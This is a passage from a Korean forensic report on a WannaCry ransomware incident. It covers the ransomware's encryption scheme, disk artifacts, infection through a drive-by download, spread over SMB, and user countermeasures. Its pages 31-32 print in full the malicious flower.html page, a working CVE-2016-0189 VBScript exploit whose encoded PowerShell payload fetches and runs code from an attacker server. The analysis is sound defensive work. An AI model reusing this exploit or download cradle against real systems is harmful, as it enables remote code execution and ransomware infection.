1 tasksche.exe 파일에의해생성된 t.wnry 파일에공개키 (Public Key (A)) 가저장됨 2 파일을암호화하기위한공개키 (Public Key(B)) 와개인키 (Private Key(B)) 를생성 ( 이때생성되는암호화키는각파일 (t.wnry) 마다다르게생성됨, 랜섬웨어에감염되는시스템마다다른키를생성하기위함 ) 3 위에서생성된공개키 (Public Key(B)) 는 00000000.pky 파일에저장됨 4 위에서생성된개인키 (Private Key(B)) 는공개키 (Public Key(A)) 에의해암호화되어 00000000.eky 파일에저장됨 5 암호화에사용되는키는랜덤하게생성되며파일마다서로다른랜덤키를적용하여암호화를수행함 (AES_128 CBC 방식으로암호화됨 ) 6 5 에서생성한키는 3 에서생성한공개키 (Public Key (B)) 로암호화됨 7 5 에서생성한키 (AES Key) 를통해파일을암호화함 8 5 에서생성한키와 6 에서생성한암호화데이터를결합한후시그니처, 사이즈정보와조합하여 [ 원본파일명 ] +.WNCRY( 확장자 ) 파일로생성함 위과정을거쳐암호화된파일을 WANACRY 라는문자열을포함하고있는암 호화파일로변경되고확장자가 WNCRY 로변경된다. 암호화파일의자세한내 부구조는아래그림에서확인할수있다. [ 그림 3-12] 암호화된파일내부구조 - 26 -
위에서확인되는내부구조는다음과같이구성되어있다. Ÿ 시그니처 ( WANACRY! ) Ÿ AES 키암호화크기 Ÿ AES 키암호화 Ÿ Key Size Length Ÿ 원본파일 Length Ÿ 암호화된파일데이터 [ 표 3-5] 암호화된파일내부구조 파일을암호화하기위한개인키파일은 00000000.eky 파일이며, 다음과같은구 조를갖고있다. [ 그림 3-13] 00000000.eky 파일내부구조 해당키파일의시작부분에있는 0x00050000 을제외하고는 RSA 개인키 B 를 암호화하여저장한파일이다. 해당파일을복호화하면암호화된파일에존재하 는 AES 키파일을얻을수있으며, 파일복호화에사용할수있다. - 27 -
암호화된파일의복호화과정은다음과같다. 1 [ 그림 3-11] 에있는 4 에서생성한 00000000.eky 파일에저장된개인키 (Private Key(B)) 를추출함, 해당키는공개키 (Public Key (A)) 로암호화되어있기때문에공격자의개인키 (Private Key(A)) 로복호화하여추출할수있음 2 개인키 (Private Key (B)) 를이용하여 [ 그림 3-11] 에있는 6 에서암호화된 AES 키획득 ([ 그림 3-11] 에있는 3 에서생성한공개키 (Public Key (B)) 로암호화되었기때문에위에서추출한개인키 (Private Key(B)) 를통해복호화후 AES 키를추출할수있음 ) 3 AES 키를이용해 [ 그림 3-12] 의암호화된파일데이터 ( 원본데이터 ) 의복호화진행 이번사례에발견된워너크라이랜섬웨어에의해암호화된파일은위에서언 급한공격자의개인키가있어야만복호화가가능하다. 결론적으로워너크라이를 감염시킨공격자의개인키를획득하지못한다면복호화가불가능하다. 마지막으로워너크라이랜섬웨어는암호화된파일이볼륨섀도복사본 (Volume Shadow Copy) 를통해복구되는것을방지하기위해해당파일을삭제한다. [ 그림 3-14] 볼륨섀도복사본삭제코드 - 28 -
3.2. 랜섬웨어침해사고사례분석 3.2.1. 침해사고분석대상정보분석대상시스템은사고가발생한기업에서사용중인업무용 PC에장착된저장장치 ( 총 4개 ) 이다. 해당장치에대한자세한정보는아래와같다. 각디스크는 DISK#01, DISK#02 DISK#03, DISK#04로식별값을부여하였다. 제조사제품명시리얼번호용량 SHA-1 Transcend ATA TS256GSSD370S C304398991 256 GB 8a2b9defb87255c199d99eb58a2dfdc9 1d58f67d75c480713500756641ddb7abf1ea822f [ 표 3-6] 분석대상정보 DISK#1 제조사 SAMSUNG 제품명 MZ7LN256HCHP-000L7 시리얼번호 S20HNXAGA15111 용량 256 GB - SHA-1 56f2e0f199f0acbed55fb9f02146e30bd23c6ac4 [ 표 3-7] 분석대상정보 DISK#2 제조사 SanDisk 제품명 SD6SB1M-256G-1022I 시리얼번호 154809401972 용량 256 GB 75e074f9e57440acfe7f0fb7fab94c10 SHA-1 e79613a71196ec7b9d0a670aa41d6a5fc18cce02 [ 표 3-8] 분석대상정보 DISK#3 제조사 SanDisk 제품명 SD7SB6S-256G-1006 시리얼번호 162207401021 용량 256 GB - SHA-1 d912cca57dd0f1d5daec3a0efc84e58d5a28cbae [ 표 3-9] 분석대상정보 DISK#4-29 -
3.2.2. 분석대상 DISK#1 운영체제 운영체제설치날짜 Windows 7 Professional 2017-10-10 10:15:57 Tue (UTC+09:00) IP 주소 192.168.250.135 계정정보 global_001 ( 로컬계정 ) [ 표 3-10] 분석대상정보 DISK#1 3.2.2.1. 랜섬웨어유입흔적분석 분석대상시스템 (DISK#1) 에서랜섬웨어유입여부와유입경로를확인하기 위해아래와같은아티팩트를대상으로분석을수행하였다. 아티팩트 윈도우레지스트리 (Registry) 웹브라우저사용흔적 (Web Browser History) 이메일사용흔적 (E-mail) 메신져사용흔적 (Messenger) 이벤트로그 (EventLog) 자바 IDX 파일 (*.idx) 액티브 X 캐시 (ActiveX Cache) 타임라인분석 (Timeline) 설명 운영체제정보, 사용자계정정보, 시스템정보와같은기본정보부터응용프로그램실행흔적, 최근접근문서, 저장매체사용흔적분석 ( 하드디스크, CD-ROM, USB 등 ) 과같은정보까지다양한정보를분석할수있음 사용자의웹사이트접속기록, 파일다운로드기록등의웹브라우저사용기록을확인할수있음 송수신된이메일과첨부파일등을확인할수있음 메신져를통해송수신된파일을확인할수있음 악성코드가실행된원인을비롯하여유입경로 ( 내부네트워크 ) 등다양한정보를획득할수있음 웹브라우저를통한악성코드유입이벤트를식별할수있음 웹브라우저를통한악성코드유입이벤트를식별할수있음 이벤트가발생한순서를확인하여시나리오를구성할수있음 [ 표 3-11] 유입흔적분석대상목록 DISK#1 우선웹브라우저사용흔적을분석하여인터넷을통한랜섬웨어감염여부 및유입경로를확인하였다. 그결과악성코드를배포하는것으로확인되는 URL 에접근한흔적이 DISK#1 시스템에서발견되었다. 악성코드유포서버의주소는 - 30 -
58.17.34.44이며 VBscript가포함된페이지 (flower.html) 를구성하여드라이브바이다운로드 (Drive-by Download) 를통해랜섬웨어가시스템에유입되도록구성한것으로확인된다. 다음은 DISK#1에서확인한웹브라우저사용흔적을확인한그림이다. [ 그림 3-15] 웹브라우저사용흔적 ( 악성 URL 접근 ) flower.html 파일은분석대상시스템에캐시파일 (Cache File) 로저장되어내용을확인할수있었다. flower.html의캐시파일은 C:\Users\global_001\AppData \Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\2L0LRGDS\fl ower[1].htm로저장된것을확인할수있었다. 해당파일의내용은다음과같다. <html> <head> <meta http-equiv="x-ua-compatible" content="ie=10"> </head> <body> <script type="text/vbscript"> Dim aw Dim plunge(3 2) Dim y(32) prefix = "%u4141%u4141" d = prefix & "% u0016%u4141%u4141%u4141%u4242%u4242" b = String(64000, "D") c = d & b x = UnEscape(c) Class ArrayWrapper Dim A() Private Sub Class_Initialize ReDi m Preserve A(1, 2000) End Sub P ublic Sub Resize() ReDim Preserve A(1, 1) End Sub End Class Class Dummy End Class Function getaddr (arg1, s) aw = Null S et aw = New ArrayWrapper For i = 0 To 32 Set plunge(i) = s Next Set aw.a (arg1, 2) = s Dim addr Dim i F or i = 0 To 31 If Asc(Mid(y(i), 3, 1)) = VarType(s) Then addr = strtoint(mid(y(i), 3 + 4, 2)) End If y(i) = Null Next If addr = Null Then document.location.href = document.location.href Return End If getaddr = addr End Function Function leakmem (arg1, addr) d = prefix & "%u00 08%u4141%u4141%u4141" c = d & inttostr(addr) & b x = UnEscape(c) aw = Null Set aw = New Arra ywrapper Dim o o = aw.a(arg1, 2) leakmem = o End Function Sub overwrite (arg1, addr) d = prefix & "%u400c% u0000%u0000%u0000" c = d & inttostr(addr) & b x = - 31 -
UnEscape(c) aw = Null Set aw = New Arra ywrapper aw.a(arg1, 2) = CSng(0) End Sub Function exploit (arg1) Dim addr Dim csession Dim olescript Dim mem Set dm = New Dummy addr = getaddr(arg1, dm) mem = leakmem(arg1, ad dr + 8) csession = strtoint(mid(mem, 3, 2)) mem = leakmem(arg1, csession + 4) olescript = strtoint(mid(mem, 1, 2)) overwrite arg1, olescript + &H174 Set Object = Creat eobject("wscript.shell") Object.run("powershell.exe -NoP -sta -NonI -W Hidden -Enc WwBTAFkAcwBUAEUAbQAuAE4ARQBUAC4AUwBFAHIAdgBJAEMARQBQ AE8ASQBOAFQATQBBAG4AYQBHAGUAcgBdADoAOgBFAFgAcABlAEMAdAAxADAAMA BDAG8AbgB0AEkAbgBVAGUAIAA9ACAAMAA7ACQAVwBjAD0ATgBlAHcALQBPAGIAag BlAGMAdAAgAFMAeQBzAFQARQBNAC4ATgBFAHQALgBXAGUAYgBDAEwAaQBlAG4A daa7acqadqa9accatqbvahoaaqbsagwayqavadualgawacaakabxagkabgbkag 8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABl AG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlA GMAawBvACcAOwAkAFcAQwAuAEgAZQBBAGQARQByAHMALgBBAEQARAAoACcAVQ BzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAFcAYwAuAFAAcgBvAFgAeQ AgAD0AIABbAFMAWQBzAHQARQBNAC4ATgBFAFQALgBXAEUAQgBSAEUAUQBVAEU AUwBUAF0AOgA6AEQAZQBGAGEAdQBMAHQAVwBFAEIAUABSAE8AeAB5ADsAJABXA GMALgBQAHIAbwBYAHkALgBDAFIAZQBkAGUAbgB0AGkAQQBsAHMAIAA9ACAAWwB TAHkAUwB0AEUAbQAuAE4ARQBUAC4AQwBSAGUAZABFAG4AdABJAEEAbABDAEEAY wboaeuaxqa6adoarablaeyaqqb1agwavaboaguavabxag8acgblaemacgbfaeq AZQBOAHQAaQBBAGwAUwA7ACQASwA9ACcAOAAxAGQAYwA5AGIAZABiADUAMgB kadaanabkagmamgawadaamwa2agqaygbkadgamwaxadmazqbkadaanqa1a CcAOwAkAEkAPQAwADsAWwBDAGgAYQByAFsAXQBdACQAYgA9ACgAWwBDAGgAY QByAFsAXQBdACgAJABXAEMALgBEAG8AVwBuAEwATwBBAGQAUwBUAHIAaQBuAGc AKAAiAGgAdAB0AHAAOgAvAC8ANQA4AC4AMQA3AC4AMwA0AC4ANAA0ADoAOAA wadgamaavagkabgbkaguaeaauageacwbwaciakqapackafaalahsajabfac0aygb YAE8AUgAkAEsAWwAkAEkAKwArACUAJABLAC4ATABFAE4ARwBUAEgAXQB9ADsASQB FAFgAIAAoACQAQgAtAGoATwBJAG4AJwAnACkA") End Function Function triggerbug aw.resize() Dim i For i = 0 To 32 ' 24000x2 + 6 = 48006 bytes y(i) = Mid(x, 1, 24000) Next End Function </scr ipt> <script type="text/javascript"> function strtoint(s) { return s.charcodeat(0) (s.charcodeat(1) << 16); } function inttostr(x) { return String.fromCharCode(x & 0x ffff) + String.fromCharCode(x >> 16); } var o; o = {"valu eof": function () { triggerbug(); return 1; }}; settimeout(function() {exploit(o);}, 50); </script> </body> </ht ml> [ 표 3-12] flower[1].html - 32 -
위에서확인되는 flower.html에포함된스크립트는 CVE-2016.-0189 취약점을이용한스크립트이며, 해당취약점은인터넷익스플로러 (Internet Explorer) 의 VBScript엔진이소스코드를처리하는과정에메모리를손상시켜임의의코드를실행시키는취약점이다. 이를이용하면공격자는악성홈페이지에접속한사용자 PC에서공격코드를실행할수있으며마이크로소프트사에서는해당취약점을방지하기위해 2016년 5월 10일에보안패치 (MS16-053) 를배포했다. 다음은해당취약점을이용한공격시나리오예시이다. [ 그림 3-16] CVE-2016-0189 시나리오 ( 출처 : 이글루시큐리티 ) 위와같은취약점을이용하여악성페이지에접근한사용자가 kik.kin.com 서버에접근하도록리다이렉트시킨것으로확인된다. 그후 kik.kin.com에접속한사용자는 317864328678829.js 파일을다운로드하여실행하고드라이브바이다운로드로랜섬웨어파일을다운로드하게된다. 악성 URL 을통해 DISK#01 시스템에유입된랜섬웨어는 C:\ProgramData\Mi crosoft\wpd 에 lhdfrgui.exe 라는파일명으로저장되었다. - 33 -
다음은랜섬웨어파일에대한정보를표로정리한내용이다. 파일경로 C:\ProgramData\Microsoft\WPD\lhdfrgui.exe 생성시간 2017년 10월 21일 13:57:36 수정시간 2017년 10월 21일 13:57:36 접근시간 2017년 10월 21일 13:57:36 해쉬 f1ebc52b97ef40bfcffd39ac3df2811e [ 표 3-13] lhdfrgui.exe 파일정보 lhdfrgui.exe 파일의 해쉬값을통해악성여부를확인하였다. 그결과 VirusShare_7bf2b57f2a205768755c07f238fb32cc 라는이름의랜섬웨어파일로진단되는것을확인할수있었다. 해당파일에대한자세한분석내용은본보고서 3.1.3. 워너크라이랜섬웨어상세분석 에서확인할수있다. [ 그림 3-17] lhdfrgui.exe 파일 VirusTotal 질의 위에서탐지된 lhdfrgui.exe 파일의정확한생성시간을확인하기위해윈도우 NTFS 파일시스템로그를통해파일의생성시간을확인하였다. 그결과 2017년 10월 21일오후 3시 34분 47초에파일이생성된것을확인할수있었으며, 위에서확인된파일시간과다르지않은것을알수있다. 다음은 NTFS 파일시스템로그를통해파일생성시간을확인한화면이다. - 34 -
[ 그림 3-18] NTFS 파일시스템로그 & 저널로그확인 결론적으로사용자는악성 VBscript 가포함된 http://58.17.34.44/flower.html 페이지에접근하여 CVE-2016-0189 취약점에노출되게되고그결과악성서버 kik.kin.com로리다이렉트되어드라이브바이다운로드공격을통해랜섬웨어를다운로드하고실행하게된다. [ 그림 3-19] 랜섬웨어유입흐름 - 35 -
3.2.2.2. 랜섬웨어실행흔적분석 분석대상시스템 (DISK#1) 에서랜섬웨어실행과관련된내용을확인하기위해 아래와같은아티팩트를대상으로분석을수행하였다. 아티팩트 프리패치 / 슈퍼패치 (Prefetch/Superfetch) 응용프로그램호환성아티팩트 (Application Compatibility Artifacts) 레지스트리 (Registry) 바로가기파일 (Link File) 볼륨섀도복사본 (Volume Shadow Copy) 이벤트로그 (EventLog) 서비스 (Services) 작업스케쥴러 (Task Scheduler) 설명 악성코드의실행여부와추가적인정보 ( 파일명, 저장경로, 크기, 실행시간, 실행횟수등 ) 를확인할수있음 악성코드의실행여부와정보 ( 파일명, 저장경로, 실행시간등 ) 를확인할수있음 악성코드의실행여부와정보 ( 파일명, 저장경로, 실행시간등 ) 를확인할수있음 악성코드의실행여부와정보 ( 파일명, 저장경로, 유입경로, 실행시간등 ) 를확인할수있음 악성코드실행전시스템상태와현재상태를비교분석할수있음 악성코드의실행여부와추가적인정보 ( 파일명, 저장경로, 실행시간등 ) 를확인할수있음 악성코드의실행여부와추가적인정보 ( 파일명, 저장경로등 ) 를확인할수있음 악성코드의실행여부와추가적인정보 ( 파일명, 저장경로등 ) 를확인할수있음 [ 표 3-14] 실행흔적분석대상목록 DISK#1 위와같은아티팩트를대상으로랜섬웨어감염여부를확인한결과랜섬웨어 실행과관련된다양한흔적을발견할수있었다. DISK#1 시스템에서랜섬웨어감염흔적을확인할수있는대표적인흔적은 바탕화면변경과워너크라이랜섬웨어실행후표시되는금전요구창이활성화 되는것이다. 바탕화면변경은시스템에유입된랜섬웨어인 lhdfrgui.exe 가수행하고, 바탕화 면에는 Ooops, your important files are encrypted. 라는문구와함께랜섬웨 어감염사실을사용자에게알리는문구를출력하게된다. - 36 -
[ 그림 3-20] 워너크라이랜섬웨어실행결과 - 바탕화면 위와같은내용으로바탕화면이변경된후사용자의파일이암호화되어엑세 스할수없으며파일을복구할수있는방법은없다는내용과함께비트코인을 이용한금전지불을요구하는랜섬노트가반복적으로노출되게한다. [ 그림 3-21] 워너크라이랜섬웨어실행결과 - 랜섬노트 위와같은내용을통해해당시스템에서워너크라이가실행되었음을알수있다. 워너크라이실행결과시스템에있는문서, 이미지, 영상파일등이암호화되었으며, 파일의내용이아래와같이시작부분은 WANACERY! 문자열이추가되어있으며, 파일내용이암호화되었음을확인할수있다. - 37 -
[ 그림 3-22] 암호화된파일내부구조 랜섬웨어파일실행과관련된추가적인내용을확인하기위해시스템에기록 된다른흔적을분석해보았다. Ÿ 프리패치 / 슈퍼패치프리패치와슈퍼패치는윈도우시스템에서사용되는응용프로그램사용캐시의일종이다. 저장경로는 C:\Windows\Prefetch 이며, 해당파일에작성된내용을분석하면파일의실행과관련된다양한정보를확인할수있다. 하지만아쉽게도현재분석대상시스템에서프리패치와슈퍼패치가손상되어랜섬웨어실행흔적에대한내용을확인할수없었다. 프리패치와슈퍼패치가기록되지않는다양한이유가있지만해당시스템에서는그러한조건을만족할만한원인을발견하지못했다. Ÿ 응용프로그램호환성아티팩트응용프로그램호환성아티팩트에는응용프로그램실행여부를확인할수있는흔적이기록된다. 즉해당내용을토대로랜섬웨어감염실행에대한흔적을확인할수있다. - 38 -
[ 그림 3-23] 응용프로그램호환성캐시 그중응용프로그램호환성캐시에서랜섬웨어가실행된흔적을확인할수있다. 다음은랜섬웨어파일인 lhdfrgui.exe의실행여부를확인할수있는응용프로그램호환성캐쉬의내용이다. 해당내용을통해 2017년 10월 21일에 13:57:36에랜섬웨어가실행된것을확인할수있다. 위내용외에도추가적으로랜섬웨어실행여부를확인할수있는응용프로그램호환성아티팩트중 RecentFileCache.bcf 파일이있다. 해당파일에기록된내용을통해랜섬웨어인 lhdfrgui.exe의실행여부를확인할수있다. 하지만 RecentFileCache.bcf 파일은응용프로그램의실행시간을기록하지않기때문에이를통한랜섬웨어실행시간은확인할수없고, 단지실행여부만확인이가능하다. 다음그림을통해 RecentFileCache.bcf의분석결과를확인할수있다. 랜섬웨어인 lhdfrgui.exe가목록에있는것을볼수있다. [ 그림 3-24] RecentFileCache.bcf 파일내용 - 39 -
Ÿ 서비스등록대부분의악성코드는시스템이재시작되어도악성코드가실행되도록자동실행을등록하거나시스템서비스에악성코드를등록하여동작되도록한다. 해당시스템에유입된랜섬웨어도마찬가지로시스템서비스에등록하여재부팅후에도실행될수있도록동작한다. [ 그림 3-25] 랜섬웨어서비스등록화면 - 40 -
Ÿ 이벤트로그윈도우이벤트로그는시스템에서발생하는다양한이벤트를기록하는윈도우의로그이다. 기본적으로시스템, 감사, 응용프로그램과관련된로그를작성하지만, Windows Vista 이후로확장로그를추가하여, 굉장히많은정보를확인할수있게되었다. 그중 Microsoft-Windows-WER-Diag 이벤트로그는윈도우에러리포트 (Windows Error Report) 와관련된내용을확인할수있는이벤트로그이다. 아래에서확인되는이벤트로그의내용은랜섬웨어유입시점에발생한힙손상에대한로그이며, 랜섬웨어실행과는무관한내용으로확인된다. [ 그림 3-26] 이벤트로그 DISK#1 결론적으로워너크라이랜섬웨어는 2017년 10월 21일오후 1:57:36 에유입된후동일한시점인 2017년 10월 21일오후 1:57:36 에실행되어시스템에있는특정파일을암호화하고서비스에자신을등록하여시스템이재시작되어도실행될수있도록한것으로확인된다. - 41 -
3.2.3. 분석대상 DISK#2, DISK#3 운영체제 운영체제설치날짜 Windows 7 Professional 2017-10-10 10:26:32 Tue (UTC+09:00) IP 주소 192.168.250.51 계정정보 global_02 [ 표 3-15] 분석대상정보 DISK#2 운영체제 운영체제설치날짜 Windows 7 Professional 2017-10-10 10:48:23 Tue (UTC+09:00) IP 주소 192.168.250.54 계정정보 global_003 [ 표 3-16] 분석대상정보 DISK#3 DISK#2, DISK#3 시스템에서확인되는워너크라이랜섬웨어감염에대한모든 흔적이동일한것으로확인되었다. 3.2.3.1. 랜섬웨어유입흔적분석 분석대상시스템에랜섬웨어의유입및실행여부를확인하기위해다음의 아티팩트를활용하여분석을수행한다. 아티팩트 윈도우레지스트리 (Registry) 웹브라우저사용흔적 (Web Browser History) 이메일사용흔적 (E-mail) 메신져사용흔적 (Messenger) 이벤트로그 (EventLog) 자바 IDX 파일 설명 운영체제정보, 사용자계정정보, 시스템정보와같은기본정보부터응용프로그램실행흔적, 최근접근문서, 저장매체사용흔적분석 ( 하드디스크, CD-ROM, USB 등 ) 과같은정보까지다양한정보를분석할수있음 사용자의웹사이트접속기록, 파일다운로드기록등의웹브라우저사용기록을확인할수있음 송수신된이메일과첨부파일등을확인할수있음 메신져를통해송수신된파일을확인할수있음 악성코드가실행된원인을비롯하여유입경로 ( 내부네트워크 ) 등다양한정보를획득할수있음 웹브라우저를통한악성코드유입이벤트를식별할수 - 42 -
(*.idx) 액티브 X 캐시 (ActiveX Cache) 타임라인분석 (Timeline) 있음 웹브라우저를통한악성코드유입이벤트를식별할수있음 이벤트가발생한순서를확인하여시나리오를구성할수있음 [ 표 3-17] 유입흔적분석대상목록 DISK#2 위와같은아티팩트를대상으로랜섬웨어유입흔적을확인한결과이와관련된어떠한흔적도기록되지않았음을확인할수있었다. 하지만앞서분석한 DISK#1에서확인한랜섬웨어에감염된파일인.WNCRY 확장자를갖고있는파일이다수확인되며, 바탕화면변조와랜섬노트또한확인되었다. 즉, 워너크라이랜섬웨어에대한유입흔적은확인되지않지만실행된결과는확인된다는것이다. [ 그림 3-27] 바탕화면변조와랜섬노트 DISK#2 시스템의경우 DISK#1과시스템과는다르게웹브라우저를통한랜섬웨어유입흔적은발견되지않았다. 또한악성코드유입과관련된다른흔적들또한확인되지않았으며, DISK#1에서 tasksche.exe를생성하고 SMB 취약점을통해악성코드를전파했던 lhdfrgui.exe 파일과동일한파일또한시스템에서확인할수없었다. 하지만, DISK#2 시스템에서는 tasksche.exe 파일과암호화키파일, 랜섬노트파일등은동일한경로에생성되어있음을확인할수있다. - 43 -
[ 그림 3-28] DISK#2 에생성된랜섬웨어관련파일 위와같은사실을미루어볼때 DISK#2 는인터넷이나외부저장매체, 이메일 등을통해, 랜섬웨어가유입된것이아닌, 다른방법을통해유입및실행되었다 는것을확인할수있었다. 분석결과워너크라이랜섬웨어가 SMB 취약점을통해전파될때악성코드유입과관련된시스템흔적은기록되지않는것으로확인되었다. 결론적으로최초감염시스템인 DISK#1에서 SMB 취약점을통해, DISK#2로랜섬웨어를전파하는경우 DISK#2에서는랜섬웨어유입흔적의발견이불가능함을알수있다. 추가적으로다음과같은사실을토대로 DISK#1 을통해 DISK#2, DISK#3 가감 염되었다는것을알수있다. Ÿ Ÿ Ÿ Ÿ 워너크라이랜섬웨어의경우 SMB 취약점을활용하여네트워크전파수행 DISK#2, DISK#3가 DISK#1과동일한네트워크에포함되어있음 DISK#2와 DISK#3에서 SMB가활성화되어있음 DISK#1과다르게 DISK#2, DISK#3에서는추가감염을위해사용되는파일이발견되지않음 위의분석을통해동일한네트워크에서발생한워너크라이감염의경우, 각 - 44 -
감염시스템에생성된랜섬웨어관련파일의최초생성시간을확인하고, 이를 정렬함으로써최초감염시스템과추가감염시스템의구분이가능함을확인할 수있다. 다음은 DISK#2 에생성된랜섬웨어파일의생성시간정보이다. 파일명 생성시간 C\ProgramData\buffbnhkot683\00000000.eky 2017-10-21 14:01 C\ProgramData\buffbnhkot683\00000000.pky 2017-10-21 14:01 C\ProgramData\buffbnhkot683\00000000.res 2017-10-21 14:01 C\ProgramData\buffbnhkot683\msg 2017-10-21 14:01 C\ProgramData\buffbnhkot683\tasksche.exe 2017-10-21 14:01 C\ProgramData\buffbnhkot683\@Please_Read_Me@.txt 2017-10-21 14:01 C\ProgramData\buffbnhkot683\@WanaDecryptor@.exe 2017-10-21 14:01 C\ProgramData\buffbnhkot683\@WanaDecryptor@.exe.lnk 2017-10-21 14:01 C\ProgramData\buffbnhkot683\f.wnry 2017-10-21 14:01 C\ProgramData\buffbnhkot683\TaskData 2017-10-21 14:02 [ 표 3-18] 랜섬웨어파일정보 DISK#2 위표에서확인할수있듯이 DISK#2 에생성된랜섬웨어파일은 DISK#1 에서 랜섬웨어파일이생성된 2017 년 10 월 21 일 13:57:36 에서 4 분후인 2017 년 10 월 21 일 14:01 에생성된것을확인할수있다. 결론적으로, DISK#2 에서랜섬웨어유입흔적이발견되지않고, DISK#1 에서랜 섬웨어가생성된뒤 4 분후에 DISK#2 의감염이이루어진것을통하여, DISK#1 에서 SMB 취약점을통해 DISK#2 로랜섬웨어를전파한것으로확인된다. - 45 -
3.2.3.2. 랜섬웨어실행흔적분석 분석대상시스템 (DISK#2) 에서랜섬웨어실행과관련된내용을확인하기위해 아래와같은아티팩트를대상으로분석을수행하였다. 아티팩트 프리패치 / 슈퍼패치 (Prefetch/Superfetch) 응용프로그램호환성아티팩트 (Application Compatibility Artifacts) 레지스트리 (Registry) 바로가기파일 (Link File) 볼륨섀도복사본 (Volume Shadow Copy) 이벤트로그 (EventLog) 서비스 (Services) 작업스케쥴러 (Task Scheduler) 설명 악성코드의실행여부와추가적인정보 ( 파일명, 저장경로, 크기, 실행시간, 실행횟수등 ) 를확인할수있음 악성코드의실행여부와정보 ( 파일명, 저장경로, 실행시간등 ) 를확인할수있음 악성코드의실행여부와정보 ( 파일명, 저장경로, 실행시간등 ) 를확인할수있음 악성코드의실행여부와정보 ( 파일명, 저장경로, 유입경로, 실행시간등 ) 를확인할수있음 악성코드실행전시스템상태와현재상태를비교분석할수있음 악성코드의실행여부와추가적인정보 ( 파일명, 저장경로, 실행시간등 ) 를확인할수있음 악성코드의실행여부와추가적인정보 ( 파일명, 저장경로등 ) 를확인할수있음 악성코드의실행여부와추가적인정보 ( 파일명, 저장경로등 ) 를확인할수있음 [ 표 3-19] 실행흔적분석대상목록 DISK#2 확인결과랜섬웨어실행과관련하여, DISK#1 에서발견된흔적과동일한흔적 을확인할수있으며, DISK#2 에서확인되는랜섬웨어실행흔적은다음과같다. Ÿ 응용프로그램호환성캐쉬 [ 그림 3-29] 응용프로그램호환성캐시 DISK#2-46 -
Ÿ 서비스등록 [ 그림 3-30] 서비스등록 Ÿ 자동실행등록 [ 그림 3-31] 자동실행등록 - 47 -
4. 랜섬웨어감염사례분석결과 4.1. 랜섬웨어유입및감염원인 4.1.1. 무분별한인터넷사용 DISK#1의경우업무용 PC임에도불구하고, 업무와관련없는무분별한인터넷사용으로인해, 악성스크립트를포함하고있는사이트에접근하게되었고, 드라이브바이다운로드를통해랜섬웨어에감염되었다. [ 그림 4-1] 업무용 PC 에서의무분별한인터넷사용 DISK#1 4.1.2. 윈도우보안업데이트소홀 DISK#1에서최초랜섬웨어유입에활용된취약점은 MS16-053으로패치가된취약점이다. 윈도우보안업데이트를소홀히하여, 해당익스플로잇 (Exploit) 공격이동작하였고, 이를통해랜섬웨어가유입되었다. 4.2. 랜섬웨어내부확산원인 4.2.1. 윈도우보안업데이트소홀워너크라이는 SMB 취약점 ( 이터널블루 ) 을통해내부네트워크에랜섬웨어를확산시켰다. 해당취약점은이미윈도우업데이트를통해보완된취약점이며, 보안업데이트를수행하였다면, 워너크라이의감염방지가가능하였을것이다. - 48 -
5. 대응방안 5.1. 사용자대응방안 랜섬웨어는특정기업이나기관을대상으로공격을수행하는 APT(Advanced Persistence Threat) 나 TT(Target Threat) 와달리불특정다수를대상으로공격을수행하기때문에일반사용자의경우에도랜섬웨어감염위험에노출되어있다. 따라서사용자들도랜섬웨어감염에위험을인지하고이에대한대응방안을고려해야한다. 5.1.1. 데이터백업일반사용자입장에서랜섬웨어대응방법중가장보편적이고확실한방법이바로데이터백업이다. 시스템에저장된중요한문서나동영상, 사진과같은멀티미디어파일등을수시로백업하여안전하게보관할것을권한다. 단, 데이터를백업한디스크를항상시스템에연결하여사용하는경우에는해당디스크에저장된파일도랜섬웨어에감염될수있으니별도의데이터저장디스크를준비하는것이옳다. 클라우드서비스혹은개인용 NAS (Network Attacked Server) 를사용하는것도하나의방법이다. 5.1.2. 어플리케이션보안업데이트최근발생하고있는랜섬웨어감염사례의경우대부분드라이브바이다운로드형태로시스템에유입된다. 드라이브바이다운로드는사용자의시스템에설치되어있는특정어플리케이션의취약점을이용하여수행되기때문에사용자입장에서는이를차단하거나예방할수있는대책은어플리케이션보안업데이트가유일하다. 최근랜섬웨어가감염되는대표적인원인중하나가악성광고를통해랜섬웨어를유입하는멀버타이징 (Malvertising) 이다. 사용자는인터넷웹사이트를방문하고그곳에포함된악성광고창에접근하여감염되는형태이다. 이런멀버타이징도결국드라이브바이다운로드의공격기법중하나이다. 일반사용자는드라이브바이다운로드공격을차단하는것이랜섬웨어를예 방하는가장좋은방법이다. 이를위하여시스템에설치된어플리케이션들의주 기적인보안업데이트수행이반드시필요하다. - 49 -
현재시스템에설치된어플리케이션을확인하고업데이트를설정하는것은윈 도우제어판을통해확인할수있다. 윈도우 10 버전을기준으로 제어판 모든 제어판항목 프로그램및기능 을통해프로그램설치목록의확인이가능하다. [ 그림 5-1] 제어판 모든제어판항목 프로그램및기능프로그램및기능에서확인되는 설치된프로그램 중 Java, Adobe Flash Player, PDF Reader, MS Office와같은어플리케이션은공격자가선호하는어플리케이션의종류이다. 이런어플리케이션중 Flash Player와 Java는제어판홈에서업데이트를설정할수있다. [ 그림 5-2] Flash Player, Java 업데이트 - 50 -
이외에도각어플리케이션의자동업데이트기능을활성화하여어플리케이션 의취약한버전이빠르게패치되도록하는것을권장한다. 5.1.3. 윈도우업데이트 마이크로소프트는이번워너크라이이슈와관련된긴급패치를빠르게발표하 여사용자에게제공하였다. 워너크라이와같은랜섬웨어의경우윈도우시스템에서동작하는서비스의취약점을이용하여랜섬웨어를유포하기때문에윈도우보안업데이트를필수적으로수행하여야한다. 하지만일반사용자입장에서는윈도우업데이트모두를일일이신경쓸수없다. 이런이유로윈도우업데이트가있는경우자동으로업데이트를수행하는기능을사용자에게제공한다. 해당설정은 gpedit.msc에서확인, 변경가능하다. ( 시작 gpedit.msc 컴퓨터구성 관리템플릿 Windows 구성요소 Windows 업데이트 ) [ 그림 5-3] 업데이트설정 - 51 -
